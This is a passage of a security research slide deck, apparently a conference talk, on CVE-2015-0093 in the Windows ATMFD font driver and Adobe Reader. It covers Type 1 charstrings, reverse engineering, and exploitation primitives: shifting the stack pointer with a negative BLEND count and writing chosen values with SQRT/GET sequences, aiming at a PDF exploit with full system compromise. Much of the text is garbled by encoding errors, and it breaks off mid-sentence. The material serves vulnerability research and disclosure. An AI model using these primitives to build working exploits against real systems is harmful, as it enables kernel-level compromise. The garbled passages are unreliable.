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Agenda 

ÅType 1 and OpenType font primer 

ÅAdobe Type Manager Font Driver (ATMFD.DLL) in Windows and shared codebases 

ÅCVE-2015-0093 (a.k.a. CVE-2015-3052) ς one font vulnerability to rule them all 

ÅExploitation of Adobe Reader 11.0.10 + Windows 8.1 Update 1 x86 

ÅExploitation of Adobe Reader 11.0.10 + Windows 8.1 Update 1 x86-64 (feat. CVE-2015-0090) 

ÅFinal thoughts 



Type 1 / OpenType font primer 



Adobe PostScript fonts 

ÅIn 1984, Adobe introduced two outline font formats based on the PostScript language 

(itself created in 1982): 

ÅType 1, which may only use a specific subset of PostScript specification. 

ÅType 3, which Ŏŀƴ ǘŀƪŜ ŀŘǾŀƴǘŀƎŜ ƻŦ ŀƭƭ ƻŦ tƻǎǘ{ŎǊƛǇǘΩǎ ŦŜŀǘǳǊŜǎΦ 

ÅOriginally proprietary formats, with technical specification 

commercially licensed to partners. 

Åhƴƭȅ ǇǳōƭƛŎƭȅ ŘƻŎǳƳŜƴǘŜŘ ƛƴ aŀǊŎƘ мффлΣ ŦƻƭƭƻǿƛƴƎ !ǇǇƭŜΩǎ ǿƻǊƪ 

on an independent font format, TrueType. 



Type 1 primer ς general structure 

Adobe Type 1 Font Format, Adobe Systems Incorporated 



Type 1 Charstrings 

/at ## - | { 36 800 hsbw - 15 100 hstem 154 108 hstem 466 108 hstem 666 100  

 hstem 445 85 vstem 155 120  vstem 641 88 vstem 0 100  vstem 275 353 rmoveto  

 54 41 59 57 vhcurveto  49 0 30 - 39 - 7 - 57 rrcurveto  - 6 - 49 - 26 - 59 - 62 0  

 rrcurveto  - 49 - 27 43 48 hvcurveto  closepath  312 212 rmoveto  - 95 hlineto  

 - 10 - 52 rlineto  - 30 42 - 42 19 - 51 0 rrcurveto  - 124 - 80 - 116 - 121 hvcurveto  

 - 101 80 - 82 88 vhcurveto  60 0 42 28 26 29 rrcurveto  33 4  callsubr  8 - 31 

 26 - 25 28 - 1 rrcurveto  48 - 2 58 26 48 63  rrcurveto  40 52 22 75 0 82 rrcurveto  

 0 94 - 44 77 - 68 59 rrcurveto  - 66 59 - 81 27 - 88 0 rrcurveto  - 213 - 169 - 168 

 - 223 hvcurveto  - 225 173 - 165 215 vhcurveto  107 0 92 31 70 36 rrcurveto  

 - 82 65 rlineto  - 32 - 20 - 64 - 12 - 83 0 rrcurveto  - 171 - 125 108 182 hvcurveto  

 172 111 119 168 vhcurveto  153 0 118 - 84 - 9 - 166 rrcurveto  - 5 - 86 - 51 - 81 

 - 36 - 4 rrcurveto  - 29 - 3 12 43 5 24 rrcurveto  closepath  endchar  } | -  



Type 1 Charstring execution context 

ÅInstruction stream ς the stream of encoded instructions used to fetch operators and execute them. 

Not accessible by the Type 1 program itself. 

ÅOperand stack ς a LIFO structure holding up to 24 numeric (32-bit) entries. Similarly to PostScript, it is 

used to store instruction operands. 

Åvarious instructions interpret stack items as 16-bit or 32-bit numbers, depending on the operator. 

ÅTransient array or BuildCharArray ς a fully accessible array of 32-bit numeric entries; can be pre-

initialized by specifying a / BuildCharArray  array in the Private Dictionary, and the size can be 

controlled via a / lenBuildCharArray  ŜƴǘǊȅ ƻŦ ǘȅǇŜ άƴǳƳōŜǊέΦ 
 

The data structure is not officially documented anywhere that I know of, yet most interpreters 

implement it. 



Type 1 Charstring operators 

ÅByte range 0 ς 31: 

Å/ƻƳƳŀƴŘǎ ŦƻǊ ǎǘŀǊǘƛƴƎ ŀƴŘ ŦƛƴƛǎƘƛƴƎ ŀ ŎƘŀǊŀŎǘŜǊΩǎ outline, 

ÅPath constructions commands, 

ÅHint commands, 

ÅArithmetic commands, 

ÅSubroutine commands. 

ÅByte range 32 ς 255: 

ÅImmediate values pushed to the operand stack; a special encoding used with more bytes loaded from the 

instruction stream in order to represent the full 32-bit range. 



Type 1 Charstring operators 

0, 2, 15-20, 23-29 missing? 

Lots of IDs missing in between operators? 



Type 1 Charstring operators 

ÅThe Type 1 format dynamically changed in the first years of its 

presence, with various features added and removed as seen fit by 

Adobe. 

ÅEven though some features are now obsolete and not part of the 

specification, they still remained in some implementations. 



Type 1 Font Files 

ÅSeveral files required to load the font, e.g. for ²ƛƴŘƻǿǎ ƛǘΩǎ 

. pfb  + . pfm [+. mmm]  

 

AddFontResource function, MSDN 



Type 1 Multiple Master (MM) fonts 

ÅIn 1991, Adobe released an extension to the Type 1 font format called 

άaǳƭǘƛǇƭŜ aŀǎǘŜǊ ŦƻƴǘǎέΦ 

ÅŜƴŀōƭŜǎ ǎǇŜŎƛŦȅƛƴƎ ǘǿƻ ƻǊ ƳƻǊŜ άƳŀǎǘŜǊǎέ όŦƻƴǘ ǎǘȅƭŜǎύ ŀƴŘ ƛƴǘŜǊǇƻƭŀǘƛƴƎ 

ōŜǘǿŜŜƴ ǘƘŜƳ ŀƭƻƴƎ ŀ Ŏƻƴǘƛƴǳƻǳǎ ǊŀƴƎŜ ƻŦ άŀȄŜǎέΦ 

Åweight, width, optical size, style 

Åtechnically implemented by introducing several new DICT fields and 

Charstring instructions. 

 



Type 1 Multiple Master (MM) fonts 

source: http://blog.typekit.com/2014/07/30/the-adobe-originals-silver-anniversary-story-how-the-originals-endured-in-an-ever-changing-industry/ 



Type 1 Multiple Master (MM) fonts 

ÅInitially supported in Adobe Type Manager (itself released in 1990). 

Åfirst program to properly rasterize Type 1 fonts on screen. 

ÅNot commonly adopted world-wide, partially due to the advent of 

OpenType. 

Åonly 30 commercial and 8 free MM fonts released (mostly by 

Adobe itself). 

Åvery sparse software support nowadays; however, at least 

Microsoft Windows (GDI) and Adobe Reader still support it. 

 



OpenType/CFF primer 

ÅReleased by Microsoft and Adobe in 1997 to supersede TrueType and 

Type 1 fonts. 

ÅMajor differences: 

Åonly requires a single font file (.OTF) instead of two or more. 

Åpreviously textual data (such as DICTs) converted to compact, binary form to reduce 

memory consumption. 

Åthe Charstring specification significantly extended, introducing new instructions and 

deprecating some older ones. 



Type 2 Charstring Operators 



Type 2 Charstring Operators 

ÅChanges in the Charstring specs: 

Åwith global and local subroutines in OpenType, a new callgsubr instruction added, 

Åmultiple new hinting-related instructions introduced (hstemhm, hintmask, cntrmask, 

ΧύΣ 

Ånew arithmetic and logic instructions (and, or, not, abs, add, sub, negΣ ΧύΣ 

Ånew instructions managing the stack (dup, exch, index, roll), 

Ånew miscellaneous instructions (random), 

Ånew instructions operating on the transient array (get, put), 

Ådropped support for OtherSubrs (removed callothersubr). 



OpenType/CFF limits specified 



Adobe Type Manager 



Adobe Type Manager (ATM) 

ÅPorted to Windows (3.0, 3.1, 95, 98, Me) by patching into the OS at a very 

low level in order to provide native support for Type 1 fonts. 

ÅWindows NT made it impossible (?) to continue this practice. 

ÅMicrosoft originally reacted by allowing Type 1 fonts to be converted to TrueType 

during system installation. 

ÅIn Windows NT 4.0, ATM was added to the Windows kernel as a third-party font 

driver, becoming ATMFD.DLL. 

ÅIt is there until today, still providing support for PostScript fonts on modern 

Windows. 



Nowadays ς shared codebases 

Windows GDI 

   Adobe 
Reader 

DirectWrite 

WPF 
OTF 
bugs 



¢ƘŜǊŜΩǎ ǎƻƳŜ ƎƻƻŘ ƴŜǿǎΧ 

ÅVarious software only based on the same codebase. 

ÅLiving in different branches and maintained by different groups of 

people. 

ÅReceived a varied degree of attention from the security community. 

Å5ƻƴΩǘ ƘŀǾŜ ǘƻ ōŜ ŀŦŦŜŎǘŜŘ ōȅ ǘƘŜ ŜȄŀŎǘ ǎŀƳŜ ǎŜǘ ƻŦ ōǳƎǎΗ 



Χ ŀƴŘ ǘƘŜǊŜΩǎ ǎƻƳŜ ōŀŘ ƴŜǿǎΗ 

ÅVarious software only based on the same codebase. 

ÅLiving in different branches and maintained by different groups of 

people. 

ÅReceived a varied degree of attention from the security community. 

Å5ƻƴΩǘ ƘŀǾŜ ǘƻ ōŜ ŀŦŦŜŎǘŜŘ ōȅ ǘƘŜ ŜȄŀŎǘ ǎŀƳŜ ǎŜǘ ƻŦ ōǳƎǎΗ 

 



[ŜǘΩǎ Ƴŀƴǳŀƭƭȅ ŀǳŘƛǘ ǘƘŜ /ƘŀǊǎǘǊƛƴƎ state machine 

implemented in Adobe Type Manager Font Driver. 



Reverse engineering ATMFD.DLL 



ATMFD.DLL: basic recon 

 

 
 

ÅAs opposed to Microsoft-authored system components, debug symbols for 

ATMFD.DLL are not available from the Microsoft symbol server. 

ÅWe have to stick with just sub_XXXXX. L 

ÅPerhaps one of the reasons why it was less thoroughly audited as compared to 

the TTF font handling in win32k.sys ? 



Shared code, shared symbols? 

However, since we know that DirectWrite (DWrite.dll ) and WPF 

(PresentationCFFRasterizerNative_v0300.dll ) share the same 

code, perhaps we could use some simple bindiffing to resolve some 

symbols? 



¢ƘŜǊŜΩǎ ŀƴƻǘƘŜǊ ǿŀȅ 

ÅAs Halvar Flake noticed, Adobe released Reader 4 for AIX and Reader 

5 for Windows long time ago with symbols. 

Åthis includes the font engine, CoolType.dll . 

ÅǘƘŜ ŎƻŘŜ Ƙŀǎ ƴƻǘ ŦǳƴŘŀƳŜƴǘŀƭƭȅ ŎƘŀƴƎŜŘ ǎƛƴŎŜ ǘƘŜƴΥ ƛǘΩǎ ōŀǎƛŎŀƭƭȅ ǘƘŜ ǎŀƳŜ 

with minor patches. 

Åit is possible to cross-diff them with modern CoolType, ATMFD or other 

modules to match some symbols, easing the reverse engineering process. 





ATMFD.DLL: basic recon 

ÅOn the bright side, the library is full of debug messages that we can 

use to find our way in the assembly. 

Åvariable names, function names, unmet conditions and source file paths! 

ÅFurthermore, there are multiple Type 1 font string literals, too. 



ATMFD.DLL: basic recon 

Debug messages: Type 1 string literals: 



²ƘŜǊŜΩǎ ²ŀƭŘƻΚ 

ÅIt is relatively easy to locate the Charstring processing routine in ATMFD.DLL. 

ÅFor one, it contains references to a lot Charstring-related debug strings: 



²ƘŜǊŜΩǎ ²ŀƭŘƻΚ 

ÅIncidentally, the function is also by far the largest one in the whole 

DLL (20kB): 





The interpreter function 

ÅBy looking at DirectWrite and WPF, we can see that its caller is 

named Type1InterpretCharString . 

ÅIn the symbolized CoolType, the interpreter itself is named 

DoType1InterpretCharString . 

ÅIt is essentially a giant switch-case statement, handling the 

different instructions inline. 

 



The interpreter function 

BYTE op = * charstring ++;  

switch  ( op)  {  

    case HSTEM:  

        ...  

    case VSTEM:  

        ...  

    case VMOVETO:  

        ...  

  ƛ 

}  



Postscript operand stack on the actual stack 

VOID *op_sp; @EDI  

ULONG op_stk[48];  

...  

Saved EBP 

...  

Return address  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 
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Why so large? 

ÅThe same interpreter is used for both Type 1 and Type 2 (OpenType) Charstrings. 

ÅType 1 fonts have access to all OpenType instructions, and vice versa! :o 

ÅThe interpreter in ATMFD.DLL still implements 

every single feature 

that was EVER part of the Type 1 / OpenType specs. 

ÅEven the most obsolete / deprecated / forgotten ones. 





ATMFD Charstring audit results 

Microsoft Windows 
(ATMFD) 

Adobe Reader 
(CoolType) 

DirectWrite 
Windows 

Presentation 
Foundation 

Unlimited Charstring execution CVE-2015-0074 - - - 

Out-of-bounds reads from the Charstring stream CVE-2015-0087 CVE-2015-3095 - - 

Off-by-x out-of-bounds reads/writes relative to 
the operand stack 

CVE-2015-0088 - - - 

Memory disclosure via uninitialized transient 
array 

CVE-2015-0089 CVE-2015-3049 CVE-2015-1670 CVE-2015-1670 

Read/write-what-where in LOAD and STORE 
operators 

CVE-2015-0090 - - - 

Buffer overflow in Counter Control Hints CVE-2015-0091 CVE-2015-3050 - - 

Buffer underflow due to integer overflow in 
STOREWV 

CVE-2015-0092 CVE-2015-3051 - - 

Unlimited out-of-bounds stack manipulation via 
BLEND operator 

CVE-2015-0093 CVE-2015-3052 - - 



Impact: Elevation of Privileges / Remote Code Execution 

Architecture: x86 

Reproducible with: Type 1 

google-security-research entries: 180, 258 

CVE-2015-0093: unlimited out-of-bounds 
stack manipulation via BLEND operator 



CVE-2015-0093: the BLEND operator 

ÅRelated to the forgotten Multiple Master fonts. 

ÅLƴǘǊƻŘǳŎŜŘ ƛƴ α¢ƘŜ ¢ȅǇŜ н /ƘŀǊǎǘǊƛƴƎ CƻǊƳŀǘέ ƻƴ р aŀȅ мффуΦ 

ÅRemoved from the specs on 16 March 2000: 

 

 

 

ÅObviously still supported in a number of engines. J 



CVE-2015-0093: the BLEND operator 

ÅPops k*n arguments from the stack, where: 

Åk = number of master designs (length of the /WeightVector  table). 

Ån = controlled signed 16-bit value loaded from the operand stack. 

ÅPushes back n values to the stack. 



CVE-2015-0093: bounds checking 

The interpreter had a good intention to verify that the specified 

number of arguments is present on the stack: 

 

case BLEND:  

  if  (  op_sp < &op_stk [ 1]  ||  op_sp > &op_stk_end  )   // bail out.  

  ...  

  if  (  master_designs  == 0 && &op_sp[ n]  >= &op_stk_end  )   // bail out.  

  ...  

  if  (  &op_stk [ n *  master_designs ]  > op_sp )   // bail out.  

  ...  

  op_sp = DoBlend( op_sp,  font - >weight_vector ,  font - >master_designs ,  n) ;    

 



CVE-2015-0093: bounds checking 

1. Is the stack pointer within the bounds of the stack buffer? 

op_sp >= op_stk && op_sp <= &op_stk_end  
 

2. Is there at least one item (n) on the stack? 

op_sp >= &op_sp[ 1]  
 

3. Are there enough items (parameters) on the stack? 

&op_stk [ n *  master_designs ]  <= op_sp 
 

3. Is there enough space left on the stack to push the output parameters? 

master_designs !=  0 ||  &op_sp[ n]  < &op_stk_end  



CVE-2015-0093: debug messages 

AtmfdDbgPrint ( " windows\ \ core \ \ ntgdi \ \ fondrv \ \ otfd \ \ bc\ \ t1interp.c " ,  

              6552,  

              " stack underflow in cmdBLEND " , " false " ) ;  
 

AtmfdDbgPrint ( " windows\ \ core \ \ ntgdi \ \ fondrv \ \ otfd \ \ bc\ \ t1interp.c " ,  

              6558,  

              " stack overflow in cmdBLEND " , " false " ) ;   

 

AtmfdDbgPrint ( " windows\ \ core \ \ ntgdi \ \ fondrv \ \ otfd \ \ bc\ \ t1interp.c " ,  

              6561,  " DoBlend would underflow operand stack " ,  

              " op_stk + inst - >lenWeightVector*nArgs <= op_sp " ) ;   



CVE-2015-0093: the DoBlend function 

ÅTurns out, a negative value of n passes all the checks! 

ÅReaches the DoBlend function, which: 

Åloads the input parameters from the stack, 

Åperforms the blending operation, 

Åpushes the resulting values back. 



CVE-2015-0093: the DoBlend function 

From a technical point of view, what happens is essentially: 

op_sp - = n *  ( master_designs -  1)  *  4 

 

which is the result of popping k*n values, and pushing n values back. 



CVE-2015-0093 

ÅFor a negative n, no actual popping/pushing takes place. 

ÅHowever, the stack pointer (op_sp) is still adjusted accordingly. 

ÅWith controlled 16-bit n, we can arbitrarily increase the stack pointer, well 

beyond the op_stk[]  array. 

ÅIt is a security boundary: the stack pointer should ALWAYS point inside the one local 

array. 



CVE-2015-0093Υ ǿŜΩǊŜ ǉǳƛǘŜ ƭǳŎƪȅΗ 

ÅAt the beginning of the main interpreter loop, the function checks if op_sp is 

smaller than op_stk [] : 
 

if  ( op_sp < op_stk )  {  

  AtmfdDbgPrint ( " windows\ \ core \ \ ntgdi \ \ fondrv \ \ otfd \ \ bc\ \ t1interp.c " ,  

                4475,  " underflow of Type 1 operand stack " ,  

               " op_sp >= op_stk " ) ;  

  abort () ;  

}   

ÅIt does not check if op_sp is greater than the end of op_stk [] , making it possible 

to execute further instructions with the inconsistent interpreter state. 



CVE-2015-0093: stack pointer control 

ÅWith |WeightVector|=16 , we can increase op_sp by as much as 

32768 * 15 * 4 = 1966080 (0x1E0000) . 

Åwell beyond the stack area ς we could target other memory areas such as pools, executable 

images etc. 

ÅWith |WeightVector|=2 , the stack pointer is shifted by exactly - n*4  (n DWORDs), 

providing a great granularity for out-of-bounds memory access. 

Åby using a two-command - x blend  sequence, we can set op_sp to any offset relative to the 

op_stk[]  array. 



For example... 



CVE-2015-0093 

VOID *op_sp; @EDI  

ULONG op_stk[48];  

...  

Saved EBP 

...  

Return address  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

DoType1InterpretCharString  stack frame (operand stack) 
H
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- 349 

blend  

exch 

endchar  

Charstring Program 

349 DWORD distance 



CVE-2015-0093 

VOID *op_sp; @EDI  

ULONG op_stk[48];  

...  

Saved EBP 

...  

Return address  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

DoType1InterpretCharString  stack frame (operand stack) 
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blend  
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endchar  

Charstring Program 

- 349 



CVE-2015-0093 

VOID *op_sp; @EDI  

ULONG op_stk[48];  

...  

Saved EBP 

...  

Return address  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

DoType1InterpretCharString  stack frame (operand stack) 
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exch 

endchar  

Charstring Program 



CVE-2015-0093 

VOID *op_sp; @EDI  

ULONG op_stk[48];  

...  

Return address  

...  

Saved EBP 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

DoType1InterpretCharString  stack frame (operand stack) 
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endchar  

Charstring Program 



CVE-2015-0093 

VOID *op_sp; @EDI  

ULONG op_stk[48];  

...  

Return address  

...  

Saved EBP 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

DoType1InterpretCharString  stack frame (operand stack) 
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- 349 

blend  

exch 

endchar  

Charstring Program 



CVE-2015-0093: bugcheck 

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY (fc )  

An attempt was made to execute non - executable memory.  The guilty driver  

is on the stack trace (and is typically the current instruction pointer).  

When possible, the guilty driver's name (Unicode string) is printed on  

the bugcheck  screen and saved in KiBugCheckDriver .  

Arguments:  

Arg1: 97ebf6a4, Virtual address for the attempted execute.  

Arg2: 11dd2963, PTE contents.  

Arg3: 97ebf56c, (reserved)  

Arg4: 00000002, (reserved)  



CVE-2015-0093: impact 

ÅWe can use the supported (arithmetic, storage, etc.) operators over the out-of-bounds 

op_sp pointer. 

ÅPossible to add, subtract, move data around on stack, insert constants etc. 

ÅPretty much all the primitives requires to build a full ROP chain. 

ÅThe bug enables the creation a 100% reliable Charstring-only exploit subverting all 

modern exploit mitigations (stack cookies, DEP, ASLR, SMEP, ...) to execute code. 

ÅBoth Adobe Reader and the Windows Kernel were affected. 

ÅPossible to create a chain of exploits for full system compromise (RCE + sandbox escape) using just 

this single vulnerability. 



CVE-2015-0093: 64-bit 

ÅOn 64-bit platforms, the n * master_designs  expression is cast to unsigned int 

in one of the bounds checking if statements: 
 

if  (( uint64 )(& op_stk + 4 *  ( uint32 )( n *  master_designs ) )  > op_sp)   
 

ÅConsequently, the whole check fails for negative n, eliminating the vulnerability 

from the code. 

ÅNot to worry, there are no 64-bit builds of Adobe Reader. 

ÅIn the x64 Windows kernel, there are other font vulnerabilities to exploit for a sandbox 

escape J 



Let the fun begin! 



The overall goal 

ÅPrepare a PDF file which pops out calc.exe upon opening in Adobe Reader 

11.0.10 on Windows 8.1 Update 1, both 32-bit and 64-bit. 

Å100% reliable against the targeted software build. 

ÅHigh integrity level and/or NT AUTHORITY/SYSTEM security context. 

ÅSubverting all available exploit mitigations in both user and kernel land. 

ÅSince there are no x64 builds of Adobe Reader, a single exploit for RCE will 

do. 

ÅTwo distinct exploits required for the 32-bit and 64-bit kernels, though. 



Adobe Reader 11.0.10 exploit 



Disallowed charstring instructions 

ÅWhile we can set the op_sp pointer well outside the local op_stk []  array, 

not all operators will work then. 

ÅSpecifically, all operators moving the stack pointer forward (pushing more 

Řŀǘŀ ǘƘŀƴ ƭƻŀŘƛƴƎύ ŎƘŜŎƪ ƛŦ ƛǘΩǎ ǎǘƛƭƭ ǿƛǘƘƛƴ ōƻǳƴŘǎΦ 

Åmakes it impossible to write constants under op_sp in a normal way via numeric 

operators. 

Åsome other instructions such as DUP, POP, CALLGSUBR, RANDOM  are forbidden, too. 



Disallowed charstring instructions - example 

case RANDOM:  

  if  ( op_sp >= &op_stk_end )  {  

    AtmfdDbgPrint ( " windows\ \ core \ \ ntgdi \ \ fondrv \ \ otfd \ \ bc\ \ t1interp.c " ,  

                  6015,  " stack overflow -  otherRANDOM" ,  " false " ) ;  

    goto  label_error ;  

  }  



Allowed Charstring instructions 

ÅHowever, commands which write to the stack but do not increase the 

stack pointer omit the checks. 

ÅƛǘΩǎ ŀ ǾŀƭƛŘ ƻǇǘƛƳƛȊŀǘƛƻƴ ς since each modification of op_sp is (in theory) 

properly sanitized, the interpreter can assume at any point in time that the 

pointer is valid. 

Åthe lack of this safety net makes the vulnerability exploitable. 



Allowed Charstring instructions 

ÅNOT (Bitwise negation) 

ÅNEG (Negation) 

ÅABS (Absolute value) 

ÅSQRT (Square root) 

ÅINDEX (Get value from stack) 

ÅEXCH (Exchange values on stack) 

ÅDIV (Division) 

ÅADD (Addition) 

ÅSUB (Subtraction) 

ÅMUL (Multiplication) 

ÅGET (Get value from transient array) 



Writing data anywhere on the stack 

ÅWriting data directly is impossible due to the reasons mentioned above. 

ÅWe could try to use the INDEX instruction: it replaces the top stack item 

with the one x items below the top. 

ÅƘƻǿŜǾŜǊΣ ǿŜ ŘƻƴΩǘ ŎƻƴǘǊƻƭ ǘƘŜ άȄέ όǿŜ ŀǊŜ ƻƴƭȅ ǘǊȅƛƴƎ ǘƻ ŎƻƴǘǊƻƭ ƛǘ ǊƛƎƘǘ ƴƻǿύΦ 

ÅThe arithmetic and logic instructions (ADD, SUB, MUL, DIV, ABS, NEG etc.) 

ŀƭǎƻ ǊŜǉǳƛǊŜ ǎƻƳŜǿƘŀǘ ŎƻƴǘǊƻƭƭŜŘ ƻǇŜǊŀƴŘǎΣ ǿƘƛŎƘ ǿŜ ƻōǾƛƻǳǎƭȅ ŘƻƴΩǘ 

have. 

ÅIs it hopeless? End of talk? 



What about the GET instruction? 

ÅUsage: idx  GET Ą val  

Åreplaces the index idx with the transient array value at that index. 

ÅSince the index is only 16 bits, maybe we could specify the transient 

array to be 65535 entries long (via / lenBuildCharArray ), and insert 

the desired value into all cells? 



Some problems 

1. It would be really expensive; over 65 thousands of instructions for a 

single value insertion sounds like a lot of overhead. 

2. The index is a signed 16-bit value, and negative arguments are 

rejected by the GET command. 

Åthe ABS instruction would probably fix this, though. 



SQRT for the rescue! 

ÅWe can control the value under an out-of-bounds op_sp pointer to some degree. 

ÅThe SQRT operator replaces the top 16-bit value with its square root. 

ÅLƴ ŦŀŎǘ ŀ мсΦмс CƛȄŜŘ ǾŀƭǳŜΣ ōǳǘ ǘƘŀǘΩǎ ƛǊǊŜƭŜǾŀƴǘΣ ōŜŎŀǳǎŜ ǘƘŜ ƛƴǘŜƎŜǊ ǇŀǊǘǎ ƻǾŜǊƭŀǇΦ 

ÅAfter 5 subsequent invocations of the instruction, the top 16-bit stack value will 

always be equal to: 

Å0 ς if the value was originally zero. 

Å1 ς if the value was originally non-zero. 

ÅThe value can be then used as a deterministic parameter of the GET instruction. 



Writing data to stack ς example 

...  

0x11223344 

0x55667788 

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

0x99aabbcc 

? 
? 
? 

ƛ 

Operand stack 

? 
? 
? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
? 
? 

ƛ 

Operand stack 

? 
? 
? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x11223344 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
31337 

? 

ƛ 

Operand stack 

? 
? 
? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x11223344 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
31337 

0 

ƛ 

Operand stack 

? 
? 
? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x11223344 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
31337 

0 

ƛ 

Operand stack 

31337 
? 
? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x11223344 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
1 
0 

ƛ 

Operand stack 

31337 
? 
? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x11223344 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
1 
0 

ƛ 

Operand stack 

31337 
31337 

? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x11223344 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

- 100 
1 
0 

ƛ 

Operand stack 

31337 
31337 

? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x11223344 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
1 
0 

ƛ 

Operand stack 

31337 
31337 

? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x11223344 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
1 
0 

ƛ 

Operand stack 

31337 
31337 

? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x00423a78 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
1 
0 

ƛ 

Operand stack 

31337 
31337 

? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x00082359 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
1 
0 

ƛ 

Operand stack 

31337 
31337 

? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x0002da4d 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
1 
0 

ƛ 

Operand stack 

31337 
31337 

? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x0001b063 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
1 
0 

ƛ 

Operand stack 

31337 
31337 

? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x00014cb4 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
1 
0 

ƛ 

Operand stack 

31337 
31337 

? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

0x00014cb4 

0x55667788 

0x99aabbcc 



Writing data to stack ς example 

...  

...  

#ÁÌÌÅÒÓƦ ÓÔÁÃË ÆÒÁÍÅÓ 

Interpreter stack frame 

31337 
1 
0 

ƛ 

Operand stack 

31337 
31337 

? 

ƛ 

Transient array 

31337 
dup 
0 

put  
1 

put  
- 100 

blend  
sqrt  
sqrt  
sqrt  
sqrt  
sqrt  
get  

Instruction stream 

31337 

0x55667788 

0x99aabbcc 



Reading data from the stack 

ÅTo read existing data from the stack, we can use a similar trick with multiple SQRT 

